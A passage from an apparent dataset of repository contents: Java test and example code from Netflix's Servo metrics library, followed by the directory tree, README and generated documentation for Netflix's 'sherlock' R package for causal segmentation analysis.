com.netflix.servo.monitor.MonitorConfig;\nimport org.testng.annotations.Test;\n\nimport javax.management.ObjectName;\nimport java.util.Arrays;\n\nimport static org.testng.Assert.assertEquals;\n\npublic class OrderedObjectNameMapperTest {\n\n private static final String TEST_DOMAIN = \"testDomain\";\n private static final Counter TEST_COUNTER =\n new BasicCounter(\n MonitorConfig.builder(\"testName\")\n .withTag(\"zzz\", \"zzzVal\")\n .withTag(\"foo\", \"bar\")\n .withTag(\"aaa\", \"aaaVal\")\n .build());\n\n @Test\n public void testOrderedTagsWithAppend() {\n ObjectNameMapper mapper =\n new OrderedObjectNameMapper(true, \"name\",\n DataSourceType.KEY, \"foo\", \"notPresentKey\");\n ObjectName name = mapper.createObjectName(TEST_DOMAIN, TEST_COUNTER);\n assertEquals(name.getDomain(), TEST_DOMAIN);\n assertEquals(name.getKeyPropertyListString(),\n String.format(\"name=testName,%s=COUNTER,foo=bar,aaa=aaaVal,zzz=zzzVal\",\n DataSourceType.KEY));\n }\n\n @Test\n public void testOrderedTagsWithoutAppend() {\n ObjectNameMapper mapper = new OrderedObjectNameMapper(false,\n Arrays.asList(\"name\", DataSourceType.KEY, \"foo\", \"notPresentKey\"));\n ObjectName name = mapper.createObjectName(TEST_DOMAIN, TEST_COUNTER);\n assertEquals(name.getDomain(), TEST_DOMAIN);\n assertEquals(name.getKeyPropertyListString(),\n String.format(\"name=testName,%s=COUNTER,foo=bar\",\n DataSourceType.KEY));\n }\n\n @Test\n public void testOrderedTagsWithoutNameExplicitlyOrdered() {\n ObjectNameMapper mapper = new OrderedObjectNameMapper(true, \"foo\", DataSourceType.KEY);\n ObjectName name = mapper.createObjectName(TEST_DOMAIN, TEST_COUNTER);\n assertEquals(name.getDomain(), TEST_DOMAIN);\n assertEquals(name.getKeyPropertyListString(),\n String.format(\"foo=bar,%s=COUNTER,name=testName,aaa=aaaVal,zzz=zzzVal\",\n DataSourceType.KEY));\n }\n\n}\n", "servo-example\\src\\main\\java\\com\\netflix\\servo\\example\\Main.java": "/**\n * Copyright 2013 Netflix, Inc.\n * <p/>\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n * <p/>\n * http://www.apache.org/licenses/LICENSE-2.0\n * <p/>\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\npackage com.netflix.servo.example;\n\nimport com.netflix.servo.publish.AsyncMetricObserver;\nimport com.netflix.servo.publish.BasicMetricFilter;\nimport com.netflix.servo.publish.CounterToRateMetricTransform;\nimport com.netflix.servo.publish.FileMetricObserver;\nimport com.netflix.servo.publish.JvmMetricPoller;\nimport com.netflix.servo.publish.MetricObserver;\nimport com.netflix.servo.publish.MetricPoller;\nimport com.netflix.servo.publish.MonitorRegistryMetricPoller;\nimport com.netflix.servo.publish.PollRunnable;\nimport com.netflix.servo.publish.PollScheduler;\nimport com.netflix.servo.publish.atlas.AtlasMetricObserver;\nimport com.netflix.servo.publish.atlas.ServoAtlasConfig;\nimport com.netflix.servo.publish.graphite.GraphiteMetricObserver;\nimport com.netflix.servo.tag.BasicTagList;\nimport com.netflix.servo.tag.TagList;\nimport com.sun.net.httpserver.HttpServer;\n\nimport java.io.Closeable;\nimport java.io.File;\nimport java.net.InetAddress;\nimport java.net.InetSocketAddress;\nimport java.net.UnknownHostException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.TimeUnit;\n\npublic final class Main {\n\n\n private static final String CLUSTER = \"nf.cluster\";\n private static final String NODE = \"nf.node\";\n private static final String UNKNOWN = \"unknown\";\n\n private Main() {\n }\n\n private static MetricObserver rateTransform(MetricObserver observer) {\n final long heartbeat = 2 * Config.getPollInterval();\n return new CounterToRateMetricTransform(observer, heartbeat, TimeUnit.SECONDS);\n }\n\n private static MetricObserver async(String name, MetricObserver observer) {\n final long expireTime = 2000 * Config.getPollInterval();\n final int queueSize = 10;\n return new AsyncMetricObserver(name, observer, queueSize, expireTime);\n }\n\n private static MetricObserver createFileObserver() {\n final File dir = Config.getFileObserverDirectory();\n return rateTransform(new FileMetricObserver(\"servo-example\", dir));\n }\n\n private static MetricObserver createGraphiteObserver() {\n final String prefix = Config.getGraphiteObserverPrefix();\n final String addr = Config.getGraphiteObserverAddress();\n return rateTransform(async(\"graphite\", new GraphiteMetricObserver(prefix, addr)));\n }\n\n private static TagList getCommonTags() {\n final Map<String, String> tags = new HashMap<>();\n final String cluster = System.getenv(\"NETFLIX_CLUSTER\");\n tags.put(CLUSTER, (cluster == null) ? UNKNOWN : cluster);\n try {\n tags.put(NODE, InetAddress.getLocalHost().getHostName());\n } catch (UnknownHostException e) {\n tags.put(NODE, UNKNOWN);\n }\n return BasicTagList.copyOf(tags);\n }\n\n private static MetricObserver createAtlasObserver() {\n final ServoAtlasConfig cfg = Config.getAtlasConfig();\n final TagList common = getCommonTags();\n return rateTransform(async(\"atlas\", new AtlasMetricObserver(cfg, common)));\n }\n\n private static void schedule(MetricPoller poller, List<MetricObserver> observers) {\n final PollRunnable task = new PollRunnable(poller, BasicMetricFilter.MATCH_ALL,\n true, observers);\n PollScheduler.getInstance().addPoller(task, Config.getPollInterval(), TimeUnit.SECONDS);\n }\n\n private static void initMetricsPublishing() throws Exception {\n final List<MetricObserver> observers = new ArrayList<>();\n if (Config.isFileObserverEnabled()) {\n observers.add(createFileObserver());\n }\n\n if (Config.isAtlasObserverEnabled()) {\n observers.add(createAtlasObserver());\n }\n\n if (Config.isGraphiteObserverEnabled()) {\n observers.add(createGraphiteObserver());\n }\n\n PollScheduler.getInstance().start();\n schedule(new MonitorRegistryMetricPoller(), observers);\n\n if (Config.isJvmPollerEnabled()) {\n schedule(new JvmMetricPoller(), observers);\n }\n }\n\n private static void initHttpServer() throws Exception {\n // Setup default endpoints\n final HttpServer server = HttpServer.create();\n server.createContext(\"/echo\", new EchoHandler());\n\n // Hook to allow for graceful exit\n final Closeable c = () -> {\n PollScheduler.getInstance().stop();\n server.stop(5);\n };\n server.createContext(\"/exit\", new ExitHandler(c));\n\n // Bind and start server\n server.bind(new InetSocketAddress(Config.getPort()), 0);\n server.start();\n }\n\n public static void main(String[] args) throws Exception {\n initMetricsPublishing();\n initHttpServer();\n }\n}\n"} | null |
sherlock | {"type": "directory", "name": "sherlock", "children": [{"type": "file", "name": ".Rbuildignore"}, {"type": "directory", "name": "data", "children": [{"type": "file", "name": "data_example.RData"}, {"type": "file", "name": "data_example_with_cost.RData"}]}, {"type": "file", "name": "DESCRIPTION"}, {"type": "directory", "name": "docs", "children": [{"type": "file", "name": "404.html"}, {"type": "directory", "name": "articles", "children": [{"type": "file", "name": "index.html"}, {"type": "file", "name": "sherlock_quick_start_netflix.html"}]}, {"type": "file", "name": "authors.html"}, {"type": "file", "name": "bootstrap-toc.css"}, {"type": "file", "name": "bootstrap-toc.js"}, {"type": "file", "name": "docsearch.css"}, {"type": "file", "name": "docsearch.js"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "LICENSE.html"}, {"type": "file", "name": "link.svg"}, {"type": "file", "name": "pkgdown.css"}, {"type": "file", "name": "pkgdown.js"}, {"type": "file", "name": "pkgdown.yml"}, {"type": "directory", "name": "reference", "children": [{"type": "file", "name": "assign_rule.html"}, {"type": "file", "name": "bound_propensity.html"}, {"type": "file", "name": "bound_tolerance.html"}, {"type": "file", "name": "ci_wald.html"}, {"type": "file", "name": "convert_to_learners.html"}, {"type": "file", "name": "cost_funs.html"}, {"type": "file", "name": "cv_dr_transform.html"}, {"type": "file", "name": "cv_fit_cate.html"}, {"type": "file", "name": "data_example.html"}, {"type": "file", "name": "data_example_with_cost.html"}, {"type": "file", "name": "est_ate.html"}, {"type": "file", "name": "est_cate.html"}, {"type": "file", "name": "est_effect.html"}, {"type": "file", "name": "est_tsm.html"}, {"type": "file", "name": "fit_or_mech.html"}, {"type": "file", "name": "fit_ps_mech.html"}, {"type": "file", "name": "fluc_update.html"}, {"type": "file", "name": "index.html"}, {"type": "file", "name": "Lrnr_prob_known.html"}, {"type": "file", "name": "mycroft_assess.html"}, {"type": "file", "name": "plot.sherlock.html"}, {"type": "file", "name": "print.sherlock.html"}, {"type": "file", "name": "print.sherlock_effects.html"}, {"type": "file", "name": "scale_from_unit.html"}, {"type": "file", "name": "scale_to_unit.html"}, {"type": "file", "name": "set_est_data.html"}, {"type": "file", "name": "set_sherlock_options.html"}, {"type": "file", "name": "sherlock_calculate.html"}, {"type": "file", "name": "summarize_segments.html"}, {"type": "file", "name": "test_segments.html"}, {"type": "file", "name": "watson_segment.html"}]}, {"type": "file", "name": "TODO.html"}]}, {"type": "directory", "name": "inst", "children": [{"type": "file", "name": "CITATION"}, {"type": "file", "name": "REFERENCES.bib"}]}, {"type": "file", "name": "LICENSE.md"}, {"type": "file", "name": "Makefile"}, {"type": "directory", "name": "man", "children": [{"type": "file", "name": "assign_rule.Rd"}, {"type": "file", "name": "bound_propensity.Rd"}, {"type": "file", "name": "bound_tolerance.Rd"}, {"type": "file", "name": "ci_wald.Rd"}, {"type": "file", "name": "convert_to_learners.Rd"}, {"type": "file", "name": "cost_funs.Rd"}, {"type": "file", "name": "cv_dr_transform.Rd"}, {"type": "file", "name": "cv_fit_cate.Rd"}, {"type": "file", "name": "data_example.Rd"}, {"type": "file", "name": "data_example_with_cost.Rd"}, {"type": "file", "name": "est_ate.Rd"}, {"type": "file", "name": "est_cate.Rd"}, {"type": "file", "name": "est_effect.Rd"}, {"type": "file", "name": "est_tsm.Rd"}, {"type": "file", "name": "fit_or_mech.Rd"}, {"type": "file", "name": "fit_ps_mech.Rd"}, {"type": "file", "name": "fluc_update.Rd"}, {"type": "file", "name": "Lrnr_prob_known.Rd"}, {"type": "file", "name": "mycroft_assess.Rd"}, {"type": "file", "name": "plot.sherlock.Rd"}, {"type": "file", "name": "print.sherlock.Rd"}, {"type": "file", "name": "print.sherlock_effects.Rd"}, {"type": "file", "name": "scale_from_unit.Rd"}, {"type": "file", "name": "scale_to_unit.Rd"}, {"type": "file", "name": "set_est_data.Rd"}, {"type": "file", "name": "set_sherlock_options.Rd"}, {"type": "file", "name": "sherlock_calculate.Rd"}, {"type": "file", "name": "summarize_segments.Rd"}, {"type": "file", "name": "test_segments.Rd"}, {"type": "file", "name": "watson_segment.Rd"}]}, {"type": "file", "name": "NAMESPACE"}, {"type": "directory", "name": "R", "children": [{"type": "file", "name": "bound.R"}, {"type": "file", "name": "cate.R"}, {"type": "file", "name": "confint.R"}, {"type": "file", "name": "convert_learners.R"}, {"type": "file", "name": "costs.R"}, {"type": "file", "name": "data.R"}, {"type": "file", "name": "effects.R"}, {"type": "file", "name": "fluctuation.R"}, {"type": "file", "name": "globals.R"}, {"type": "file", "name": "Lrnr_prob_known.R"}, {"type": "file", "name": "nuisance.R"}, {"type": "file", "name": "options.R"}, {"type": "file", "name": "plots.R"}, {"type": "file", "name": "print.R"}, {"type": "file", "name": "scale.R"}, {"type": "file", "name": "segment.R"}, {"type": "file", "name": "setup_data.R"}, {"type": "file", "name": "wrappers.R"}, {"type": "file", "name": "zzz.R"}]}, {"type": "file", "name": "README.md"}, {"type": "file", "name": "README.Rmd"}, {"type": "directory", "name": "tests", "children": [{"type": "directory", "name": "testthat", "children": [{"type": "file", "name": "test-cate.R"}, {"type": "file", "name": "test-effect_measures.R"}, {"type": "file", "name": "test-helpers.R"}, {"type": "file", "name": "test-lrnr_utils.R"}, {"type": "file", "name": "test-nuisance.R"}, {"type": "file", "name": "test-segmentation.R"}, {"type": "file", "name": "test-setup_data.R"}, {"type": "file", "name": "test-wrappers.R"}]}, {"type": "file", "name": "testthat.R"}]}, {"type": "file", "name": "TODO.md"}, {"type": "directory", "name": "vignettes", "children": [{"type": "file", "name": "sherlock_quick_start_netflix.Rmd"}]}]} | ---
output:
rmarkdown::github_document
bibliography: "inst/REFERENCES.bib"
---
<!-- README.md is generated from README.Rmd. Please edit that file -->
```{r, echo = FALSE}
knitr::opts_chunk$set(
collapse = TRUE,
comment = "#>",
fig.path = "README-"
)
```
# `sherlock`
<!-- badges: start -->
[![R-CMD-check](https://github.com/Netflix/sherlock/workflows/R-CMD-check/badge.svg)](https://github.com/Netflix/sherlock/actions)
[![Coverage Status](https://img.shields.io/codecov/c/github/Netflix/sherlock/master.svg)](https://codecov.io/github/Netflix/sherlock?branch=master)
[![Project Status: Active – The project has reached a stable, usable state and is being actively developed.](https://www.repostatus.org/badges/latest/active.svg)](https://www.repostatus.org/#active)
[![License](https://img.shields.io/badge/License-Apache%202.0-blue.svg)](https://opensource.org/licenses/Apache-2.0)
[![DOI](https://zenodo.org/badge/DOI/10.5281/zenodo.5652010.svg)](https://doi.org/10.5281/zenodo.5652010)
<!-- badges: end -->
> Causal Machine Learning for Population Segment Discovery and Analysis
__Authors:__ [Nima Hejazi](https://nimahejazi.org) and [Wenjing
Zheng](https://www.linkedin.com/in/wenjing-zheng/)
---
## Causal Segmentation Analysis with `sherlock`
The `sherlock` R package implements an approach for population segmentation
analysis (or subgroup discovery) using recently developed techniques from causal
machine learning. Using data from randomized A/B experiments or observational
studies (quasi-experiments), `sherlock` takes as input a set of user-selected
candidate segment dimensions -- often, a subset of measured pre-treatment
covariates -- to discover particular segments of the study population based on
the estimated heterogeneity of their response to the treatment under
consideration. In order to quantify this treatment response heterogeneity, the
_conditional average treatment effect_ (CATE) is estimated using a
nonparametric, doubly robust framework [@vanderweele19; @vdL15; @Luedtke16a;
@Luedtke16b], incorporating state-of-the-art ensemble machine learning
[@vdl2007super; @coyle2021sl3] in the estimation procedure.
For background and details on using `sherlock`, see the [package
vignette](https://netflix.github.io/sherlock/articles/sherlock_quick_start_netflix.html)
and the [documentation site](https://netflix.github.io/sherlock/). An overview
of the statistical methodology is available in our [conference
manuscript](https://arxiv.org/abs/2111.01223) [@hejazi2021framework] from [CODE
@ MIT
2021](https://ide.mit.edu/events/2021-conference-on-digital-experimentation-mit-codemit/).
---
## Installation
Install the _most recent version_ from the `master` branch on GitHub via
[`remotes`](https://CRAN.R-project.org/package=remotes):
```{r gh-master-installation, eval = FALSE}
remotes::install_github("Netflix/sherlock")
```
<!--
Eventually, the package will make its way to [CRAN](https://CRAN.R-project.org).
At that point, a stable version may be installed via
```{r cran-stable-installation, eval = FALSE}
install.packages("sherlock")
```
-->
---
## Issues
If you encounter any bugs or have any specific feature requests, please [file an
issue](https://github.com/Netflix/sherlock/issues).
---
## Citation
After using the `sherlock` R package, please cite the following:
@software{netflix2021sherlock,
author={Hejazi, Nima S and Zheng, Wenjing and {Netflix, Inc.}},
title = {{sherlock}: Causal machine learning for segment discovery
and analysis},
year = {2021},
note = {R package version 0.2.0},
doi = {10.5281/zenodo.5652010},
url = {https://github.com/Netflix/sherlock}
}
@article{hejazi2021framework,
author = {Hejazi, Nima S and Zheng, Wenjing and Anand, Sathya},
title = {A framework for causal segmentation analysis with machine
learning in large-scale digital experiments},
year = {2021},
journal = {Conference on Digital Experimentation at {MIT}},
volume = {(8\textsuperscript{th} annual)},
publisher = {MIT Press},
url = {https://arxiv.org/abs/2111.01223}
}
---
## License
The contents of this repository are distributed under the Apache 2.0 license.
See file
[`LICENSE.md`](https://github.com/Netflix/sherlock/blob/master/LICENSE.md) for
details.
---
## References
| {".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "docs\\index.html": "<!DOCTYPE html>\n<!-- Generated by pkgdown: do not edit by hand --><html lang=\"en\">\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=UTF-8\">\n<meta charset=\"utf-8\">\n<meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n<meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n<title>Causal Machine Learning for Segment Discovery and Analysis \u2022 sherlock</title>\n<!-- jquery --><script src=\"https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js\" integrity=\"sha256-CSXorXvZcTkaix6Yvo6HppcZGetbYMGWSFlBw8HfCJo=\" crossorigin=\"anonymous\"></script><!-- Bootstrap --><link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/css/bootstrap.min.css\" integrity=\"sha256-bZLfwXAP04zRMK2BjiO8iu9pf4FbLqX6zitd+tIvLhE=\" crossorigin=\"anonymous\">\n<script src=\"https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.4.1/js/bootstrap.min.js\" integrity=\"sha256-nuL8/2cJ5NDSSwnKD8VqreErSWHtnEP9E7AySL+1ev4=\" crossorigin=\"anonymous\"></script><!-- bootstrap-toc --><link rel=\"stylesheet\" href=\"bootstrap-toc.css\">\n<script src=\"bootstrap-toc.js\"></script><!-- Font Awesome icons --><link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.1/css/all.min.css\" integrity=\"sha256-mmgLkCYLUQbXn0B1SRqzHar6dCnv9oZFPEC1g1cwlkk=\" crossorigin=\"anonymous\">\n<link rel=\"stylesheet\" href=\"https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.12.1/css/v4-shims.min.css\" integrity=\"sha256-wZjR52fzng1pJHwx4aV2AO3yyTOXrcDW7jBpJtTwVxw=\" crossorigin=\"anonymous\">\n<!-- clipboard.js --><script src=\"https://cdnjs.cloudflare.com/ajax/libs/clipboard.js/2.0.6/clipboard.min.js\" integrity=\"sha256-inc5kl9MA1hkeYUt+EC3BhlIgyp/2jDIyBLS6k3UxPI=\" crossorigin=\"anonymous\"></script><!-- headroom.js --><script src=\"https://cdnjs.cloudflare.com/ajax/libs/headroom/0.11.0/headroom.min.js\" integrity=\"sha256-AsUX4SJE1+yuDu5+mAVzJbuYNPHj/WroHuZ8Ir/CkE0=\" crossorigin=\"anonymous\"></script><script src=\"https://cdnjs.cloudflare.com/ajax/libs/headroom/0.11.0/jQuery.headroom.min.js\" integrity=\"sha256-ZX/yNShbjqsohH1k95liqY9Gd8uOiE1S4vZc+9KQ1K4=\" crossorigin=\"anonymous\"></script><!-- pkgdown --><link href=\"pkgdown.css\" rel=\"stylesheet\">\n<script src=\"pkgdown.js\"></script><meta property=\"og:title\" content=\"Causal Machine Learning for Segment Discovery and Analysis\">\n<meta property=\"og:description\" content=\"Population segment discovery and analysis using state-of-the-art,\n doubly robust estimation techniques rooted in causal inference and machine\n learning. Using data from randomized A/B experiments or quasi-experiments\n (observational studies), a set of candidate segmentation variables are used\n to discover segments of the study population based on estimated treatment\n response heterogeneity, characterized by the conditional average treatment\n effect. Implemented procedures for estimation of the conditional average\n treatment effect incorporate ensemble machine learning (or the users\n choice of regression algorithms) via the Super Learner ensemble modeling\n procedure in sl3, available for download from GitHub using\n remotes::install_github("tlverse/sl3")'.\">\n<!-- mathjax --><script src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/MathJax.js\" integrity=\"sha256-nvJJv9wWKEm88qvoQl9ekL2J+k/RWIsaSScxxlsrv8k=\" crossorigin=\"anonymous\"></script><script src=\"https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.5/config/TeX-AMS-MML_HTMLorMML.js\" integrity=\"sha256-84DKXVJXs0/F8OTMzX4UR909+jtl4G7SPypPavF+GfA=\" crossorigin=\"anonymous\"></script><!--[if lt IE 9]>\n<script src=\"https://oss.maxcdn.com/html5shiv/3.7.3/html5shiv.min.js\"></script>\n<script src=\"https://oss.maxcdn.com/respond/1.4.2/respond.min.js\"></script>\n<![endif]-->\n</head>\n<body data-spy=\"scroll\" data-target=\"#toc\">\n <div class=\"container template-home\">\n <header><div class=\"navbar navbar-default navbar-fixed-top\" role=\"navigation\">\n <div class=\"container\">\n <div class=\"navbar-header\">\n <button type=\"button\" class=\"navbar-toggle collapsed\" data-toggle=\"collapse\" data-target=\"#navbar\" aria-expanded=\"false\">\n <span class=\"sr-only\">Toggle navigation</span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n <span class=\"icon-bar\"></span>\n </button>\n <span class=\"navbar-brand\">\n <a class=\"navbar-link\" href=\"index.html\">sherlock</a>\n <span class=\"version label label-default\" data-toggle=\"tooltip\" data-placement=\"bottom\" title=\"Released version\">0.2.0</span>\n </span>\n </div>\n\n <div id=\"navbar\" class=\"navbar-collapse collapse\">\n <ul class=\"nav navbar-nav\">\n<li>\n <a href=\"index.html\">\n <span class=\"fas fa-home fa-lg\"></span>\n \n </a>\n</li>\n<li>\n <a href=\"reference/index.html\">Reference</a>\n</li>\n<li class=\"dropdown\">\n <a href=\"#\" class=\"dropdown-toggle\" data-toggle=\"dropdown\" role=\"button\" aria-expanded=\"false\">\n Articles\n \n <span class=\"caret\"></span>\n </a>\n <ul class=\"dropdown-menu\" role=\"menu\">\n<li>\n <a href=\"articles/sherlock_quick_start_netflix.html\">`sherlock`: Causal Machine Learning for Segment Discovery</a>\n </li>\n </ul>\n</li>\n </ul>\n<ul class=\"nav navbar-nav navbar-right\"></ul>\n</div>\n<!--/.nav-collapse -->\n </div>\n<!--/.container -->\n</div>\n<!--/.navbar -->\n\n \n\n </header><div class=\"row\">\n <div class=\"contents col-md-9\">\n<div id=\"sherlock\" class=\"section level1\">\n<div class=\"page-header\"><h1 class=\"hasAnchor\">\n<a href=\"#sherlock\" class=\"anchor\"></a><code>sherlock</code>\n</h1></div>\n<!-- badges: start -->\n\n<blockquote>\n<p>Causal Machine Learning for Population Segment Discovery and Analysis</p>\n</blockquote>\n<p><strong>Authors:</strong> <a href=\"https://nimahejazi.org\">Nima Hejazi</a> and <a href=\"https://www.linkedin.com/in/wenjing-zheng/\">Wenjing Zheng</a></p>\n<hr>\n<div id=\"causal-segmentation-analysis-with-sherlock\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#causal-segmentation-analysis-with-sherlock\" class=\"anchor\"></a>Causal Segmentation Analysis with <code>sherlock</code>\n</h2>\n<p>The <code>sherlock</code> R package implements an approach for population segmentation analysis (or subgroup discovery) using recently developed techniques from causal machine learning. Using data from randomized A/B experiments or observational studies (quasi-experiments), <code>sherlock</code> takes as input a set of user-selected candidate segment dimensions \u2013 often, a subset of measured pre-treatment covariates \u2013 to discover particular segments of the study population based on the estimated heterogeneity of their response to the treatment under consideration. In order to quantify this treatment response heterogeneity, the <em>conditional average treatment effect</em> (CATE) is estimated using a nonparametric, doubly robust framework (Vanderweele et al.\u00a02019; van der Laan and Luedtke 2015; Luedtke and van der Laan 2016b, 2016a), incorporating state-of-the-art ensemble machine learning (van der Laan, Polley, and Hubbard 2007; Coyle et al.\u00a02021) in the estimation procedure.</p>\n<p>For background and details on using <code>sherlock</code>, see the <a href=\"https://netflix.github.io/sherlock/articles/sherlock_quick_start_netflix.html\">package vignette</a> and the <a href=\"https://netflix.github.io/sherlock/\">documentation site</a>. An overview of the statistical methodology is available in our <a href=\"https://arxiv.org/abs/2111.01223\">conference manuscript</a> (Hejazi, Zheng, and Anand 2021) from <a href=\"https://ide.mit.edu/events/2021-conference-on-digital-experimentation-mit-codemit/\">CODE @ MIT 2021</a>.</p>\n<hr>\n</div>\n<div id=\"installation\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#installation\" class=\"anchor\"></a>Installation</h2>\n<p>Install the <em>most recent version</em> from the <code>master</code> branch on GitHub via <a href=\"https://CRAN.R-project.org/package=remotes\"><code>remotes</code></a>:</p>\n<div class=\"sourceCode\" id=\"cb1\"><pre class=\"downlit sourceCode r\">\n<code class=\"sourceCode R\"><span class=\"fu\">remotes</span><span class=\"fu\">::</span><span class=\"fu\"><a href=\"https://remotes.r-lib.org/reference/install_github.html\">install_github</a></span><span class=\"op\">(</span><span class=\"st\">\"Netflix/sherlock\"</span><span class=\"op\">)</span></code></pre></div>\n<!--\nEventually, the package will make its way to [CRAN](https://CRAN.R-project.org).\nAt that point, a stable version may be installed via\n\n\n```r\ninstall.packages(\"sherlock\")\n```\n-->\n<hr>\n</div>\n<div id=\"issues\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#issues\" class=\"anchor\"></a>Issues</h2>\n<p>If you encounter any bugs or have any specific feature requests, please <a href=\"https://github.com/Netflix/sherlock/issues\">file an issue</a>.</p>\n<hr>\n</div>\n<div id=\"citation\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#citation\" class=\"anchor\"></a>Citation</h2>\n<p>After using the <code>sherlock</code> R package, please cite the following:</p>\n<pre><code> @software{netflix2021sherlock,\n author={Hejazi, Nima S and Zheng, Wenjing and {Netflix, Inc.}},\n title = {{sherlock}: Causal machine learning for segment discovery\n and analysis},\n year = {2021},\n note = {R package version 0.2.0},\n doi = {10.5281/zenodo.5652010},\n url = {https://github.com/Netflix/sherlock}\n }\n\n @article{hejazi2021framework,\n author = {Hejazi, Nima S and Zheng, Wenjing and Anand, Sathya},\n title = {A framework for causal segmentation analysis with machine\n learning in large-scale digital experiments},\n year = {2021},\n journal = {Conference on Digital Experimentation at {MIT}},\n volume = {(8\\textsuperscript{th} annual)},\n publisher = {MIT Press},\n url = {https://arxiv.org/abs/2111.01223}\n }</code></pre>\n<hr>\n</div>\n<div id=\"license\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#license\" class=\"anchor\"></a>License</h2>\n<p>The contents of this repository are distributed under the Apache 2.0 license. See file <a href=\"https://github.com/Netflix/sherlock/blob/master/LICENSE.md\"><code>LICENSE.md</code></a> for details.</p>\n<hr>\n</div>\n<div id=\"references\" class=\"section level2\">\n<h2 class=\"hasAnchor\">\n<a href=\"#references\" class=\"anchor\"></a>References</h2>\n<div id=\"refs\" class=\"references\">\n<div id=\"ref-coyle2021sl3\">\n<p>Coyle, Jeremy R, Nima S Hejazi, Ivana Malenica, Rachael V Phillips, and Oleg Sofrygin. 2021. <em>sl3: Modern Pipelines for Machine Learning and Super Learning</em>. <a href=\"https://doi.org/10.5281/zenodo.1342293\" class=\"uri\">https://doi.org/10.5281/zenodo.1342293</a>.</p>\n</div>\n<div id=\"ref-hejazi2021framework\">\n<p>Hejazi, Nima S, Wenjing Zheng, and Sathya Anand. 2021. \u201cA Framework for Causal Segmentation Analysis with Machine Learning in Large-Scale Digital Experiments.\u201d <em>Conference on Digital Experimentation at MIT</em> (8<sup>th</sup> annual). <a href=\"https://arxiv.org/abs/2111.01223\" class=\"uri\">https://arxiv.org/abs/2111.01223</a>.</p>\n</div>\n<div id=\"ref-Luedtke16b\">\n<p>Luedtke, Alex, and Mark van der Laan. 2016a. \u201cOptimal Individualized Treatments in Resource-Limited Settings.\u201d <em>International Journal of Biostatistics</em> 12 (1): 283\u2013303. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6052884/\" class=\"uri\">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6052884/</a>.</p>\n</div>\n<div id=\"ref-Luedtke16a\">\n<p>\u2014\u2014\u2014. 2016b. \u201cSuper-Learning of an Optimal Dynamic Treatment Rule.\u201d <em>International Journal of Biostatistics</em> 12 (1): 305\u201332. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6056197/\" class=\"uri\">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC6056197/</a>.</p>\n</div>\n<div id=\"ref-vdl2007super\">\n<p>van der Laan, Mark J, Eric C Polley, and Alan E Hubbard. 2007. \u201cSuper Learner.\u201d <em>Statistical Applications in Genetics and Molecular Biology</em> 6 (1).</p>\n</div>\n<div id=\"ref-vdL15\">\n<p>van der Laan, Mark, and Alex Luedtke. 2015. \u201cTargeted Learning of the Mean Outcome Under an Optimal Dynamic Treatment Rule.\u201d <em>Journal of Causal Inference</em> 3 (1): 61\u201395. <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4517487/\" class=\"uri\">https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4517487/</a>.</p>\n</div>\n<div id=\"ref-vanderweele19\">\n<p>Vanderweele, Tyler, Alex Luedtke, Mark van der Laan, and Ronald Kessler.</p>\n<ol>\n<li>\u201cSelecting Optimal Subgroups for Treatment Using Many Covariates.\u201d <em>Epidemiology</em> 30 (3): 334\u201341. <a href=\"https://journals.lww.com/epidem/Fulltext/2019/05000/Selecting_Optimal_Subgroups_for_Treatment_Using.5.aspx\" class=\"uri\">https://journals.lww.com/epidem/Fulltext/2019/05000/Selecting_Optimal_Subgroups_for_Treatment_Using.5.aspx</a>.</li>\n</ol>\n</div>\n</div>\n</div>\n</div>\n </div>\n\n <div class=\"col-md-3 hidden-xs hidden-sm\" id=\"pkgdown-sidebar\">\n <div class=\"license\">\n<h2>License</h2>\n<ul class=\"list-unstyled\">\n<li><a 